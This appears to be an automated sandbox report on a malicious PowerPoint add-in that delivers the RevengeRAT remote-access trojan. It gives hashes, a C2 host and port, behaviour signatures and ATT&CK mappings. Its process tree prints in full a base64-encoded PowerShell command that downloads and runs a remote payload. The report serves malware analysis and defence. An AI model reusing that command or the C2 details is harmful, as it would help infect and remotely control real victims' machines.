Analysis

  • max time kernel
    122s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25-03-2024 08:00

General

  • Target

    Documentacao pax.ppa

  • Size

    88KB

  • MD5

    ff08378dd83e84df74a9ce07f5105aa2

  • SHA1

    2ba229ede6c3b0a53e966d6f491e556b8b9efe72

  • SHA256

    994fbd9bbcb4586bcc97a0c0fb48f08b3af8acac284624c84d2d102fb1f3762e

  • SHA512

    f09ce3a2e8a21979c8d8060ee8206cc6d4146a80176a3f243f35fa0f8f021ec349fb3474ff0635c3543092c34ad6bcb5898895c37d05763f6945fc42fa8ca1fc

  • SSDEEP

    768:0cOoejkNcs+kozxpxWMjcXocyNumLu8J7icjo:0WejkNcsuzxpxWbYT1u

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Documentacao pax.ppa"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:364
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGIAOAA1AGIANABiADMANAAtADQAZgBiADkALQA0ADgANAAwAC0AYQAxAGQANwAtADMAMgA3AGEAZABlAGIAZQAwAGMANAA0AA0ACgAnACkAOwAgAA0ACgBHAHoATQBJAFQAWgBQAFIAVwBhAFQATQBvAEMAVwBiAGEAUwBNAFcAQgBkAEgASwBhAG8AcgBJAGMAdwBkAFkAbwBpAHoAeQBWAFIAdgBSAEkAUgBNAGYASABLAHoAawBYAEMAcwBwAFcAUwBIAGMAcwBjAEgARwBrAGgAUQBtAFcAVQB6AEsASABEAGgAawBHAHkAbwBMAHMAQwBkAHMAVABpAE0ADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2796
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Checks processor information in registry
          PID:1064

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1064-54-0x00000000675E0000-0x0000000067CCE000-memory.dmp
      Filesize

      6.9MB

    • memory/1064-52-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1064-59-0x00000000049E0000-0x0000000004A20000-memory.dmp
      Filesize

      256KB

    • memory/1064-58-0x00000000675E0000-0x0000000067CCE000-memory.dmp
      Filesize

      6.9MB

    • memory/1064-44-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1064-46-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
      Filesize

      4KB

    • memory/1064-45-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1064-48-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1064-50-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1064-43-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1064-55-0x00000000049E0000-0x0000000004A20000-memory.dmp
      Filesize

      256KB

    • memory/1064-42-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1716-0-0x000000002DBE1000-0x000000002DBE2000-memory.dmp
      Filesize

      4KB

    • memory/1716-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1716-2-0x000000007273D000-0x0000000072748000-memory.dmp
      Filesize

      44KB

    • memory/1716-57-0x000000007273D000-0x0000000072748000-memory.dmp
      Filesize

      44KB

    • memory/1716-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1716-21-0x00000000051F0000-0x00000000052F0000-memory.dmp
      Filesize

      1024KB

    • memory/1716-20-0x00000000051F0000-0x00000000052F0000-memory.dmp
      Filesize

      1024KB

    • memory/1716-19-0x000000007273D000-0x0000000072748000-memory.dmp
      Filesize

      44KB

    • memory/1716-18-0x00000000051F0000-0x00000000052F0000-memory.dmp
      Filesize

      1024KB

    • memory/1716-15-0x00000000051F0000-0x00000000052F0000-memory.dmp
      Filesize

      1024KB

    • memory/1716-7-0x00000000051F0000-0x00000000052F0000-memory.dmp
      Filesize

      1024KB

    • memory/2796-24-0x000000006B910000-0x000000006BEBB000-memory.dmp
      Filesize

      5.7MB

    • memory/2796-41-0x0000000000660000-0x0000000000661000-memory.dmp
      Filesize

      4KB

    • memory/2796-38-0x0000000000620000-0x0000000000638000-memory.dmp
      Filesize

      96KB

    • memory/2796-40-0x0000000000620000-0x0000000000638000-memory.dmp
      Filesize

      96KB

    • memory/2796-34-0x0000000000620000-0x0000000000638000-memory.dmp
      Filesize

      96KB

    • memory/2796-36-0x0000000000620000-0x0000000000638000-memory.dmp
      Filesize

      96KB

    • memory/2796-29-0x0000000000620000-0x0000000000638000-memory.dmp
      Filesize

      96KB

    • memory/2796-53-0x000000006B910000-0x000000006BEBB000-memory.dmp
      Filesize

      5.7MB

    • memory/2796-32-0x0000000000620000-0x0000000000638000-memory.dmp
      Filesize

      96KB

    • memory/2796-30-0x0000000000620000-0x0000000000638000-memory.dmp
      Filesize

      96KB

    • memory/2796-28-0x0000000002700000-0x0000000002740000-memory.dmp
      Filesize

      256KB

    • memory/2796-27-0x0000000002700000-0x0000000002740000-memory.dmp
      Filesize

      256KB

    • memory/2796-26-0x000000006B910000-0x000000006BEBB000-memory.dmp
      Filesize

      5.7MB

    • memory/2796-25-0x0000000002700000-0x0000000002740000-memory.dmp
      Filesize

      256KB